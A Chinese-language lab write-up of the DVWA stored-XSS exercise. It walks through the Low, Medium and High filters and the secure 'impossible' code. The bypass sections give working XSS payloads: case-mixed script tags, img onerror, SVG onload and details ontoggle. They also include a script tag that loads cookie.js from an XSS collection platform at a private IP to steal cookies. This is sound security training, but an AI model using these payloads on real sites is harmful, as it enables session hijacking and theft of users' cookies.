目录
一、Low级别
1.1 环境与代码分析
安全设置:DVWA Security → Low 漏洞文件:vulnerabilities/xss_stored/source/low.php
// 关键漏洞代码:
$message = stripslashes($_POST['mtxMessage']);
$name = stripslashes($_POST['txtName']);
// 直接存入数据库
$query = "INSERT INTO guestbook VALUES ('$message','$name')";
stripslashes() 作用
去除字符串中的反斜线转义字符
将 \' 转换为 '
将 \" 转换为 "
将 \\ 转换为 \
将 \0 转换为 NULL 字符
PHP stripslashes() 函数详解-CSDN博客
1.2 实战攻击演示
基础验证Payload:
<script>alert(document.cookie)</script>
插入payload代码,刷新页面触发xss
高级利用(插入js):
<script src="http://192.168.21.4/BlueLotus/myjs/cookie.js"></script>
xss平台收到cookie
二、Medium级别绕过
2.1 防护机制分析
安全设置:DVWA Security → Medium 过滤代码:medium.php
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
$message = strip_tags( addslashes( $message ) );
$message = htmlspecialchars( $message );
$name = str_replace( '<script>', '', $name );
trim()
作用去除字符串首尾空白字符
strip_tags()作用
移除 <div> 标签及其属性
移除 <p> 标签
保留标签间文本内容
移除 <!-- 注释 -->
移除 <b> 标签但保留其内容
htmlspecialchars()作用:
& → &
" → " (当使用 ENT_QUOTES 时)
' → ' (当使用 ENT_QUOTES 时)
< → <
> → >
str_replace()作用
过滤name字段中<script>
2.2 绕过技术详解
技术1:事件处理器绕过
name参数未转义,可插入html代码,输入存在前端字符数限制,增大字符数10-->100,绕过前端限制
<img src=x onerror=alert(/111/)>
或者抓包后,进行修改
通过onerror事件触发xss
技术2:大小写混淆
<ScRiPt>prompt("1")</ScRiPt>
技术3:属性字符突破
<svg><script>alert(1)</script>
代码分析:HTML实体编码部分字符绕过检测
三、高安全级绕过
3.1 严格过滤机制
安全设置:DVWA Security → High 防护代码:high.php
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
$message = strip_tags( addslashes( $message ) );
$message = htmlspecialchars( $message );
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );//过滤字符串中的 <script> 标签及其变体
addslashes()作用
转义特殊字符:
单引号(')→ 转义为 \'
双引号(")→ 转义为 \"
反斜线(\)→ 转义为 \\
NULL 字符(\0)→ 转义为 \0
主要用途:
准备要存入数据库的字符串数据
防止特殊字符破坏字符串结构
处理可能包含危险字符的用户输入
3.2绕过方案
方案1:SVG矢量攻击 --name字段插入
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(2)"/>
图4:SVG命名空间下的XSS执行
方案2:HTML5新特性
<details open ontoggle=alert(1)>
四、防御体系构建指南
4.1 安全防护对比表
防护层 | 低级别漏洞 | 中级别改进 | 高级别方案 |
---|---|---|---|
输入过滤 | 无 | 基础HTML编码 | 严格上下文编码 |
输出编码 | 无 | 部分实现 | 多重编码 |
CSP策略 | 无 | 无 | 推荐配置 |
4.2 impossible代码
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
用户输入:<script>alert(1)</script>
经过 htmlspecialchars() 转义后存入数据库:
<script>alert(1)</script>
从数据库读取后直接输出到 HTML 时,浏览器会显示为文本而非执行脚本。
4.3各安全级别对比表
安全级别 | 过滤函数 | 可绕过方式 | 危险程度 |
---|---|---|---|
Low | stripslashes() | 任何标准XSS | ★★★★★ |
Medium | htmlspecialchars() | 事件处理器/大小写 | ★★★☆ |
High | htmlspecialchars(ENT_QUOTES) | SVG/高级HTML5 | ★★☆ |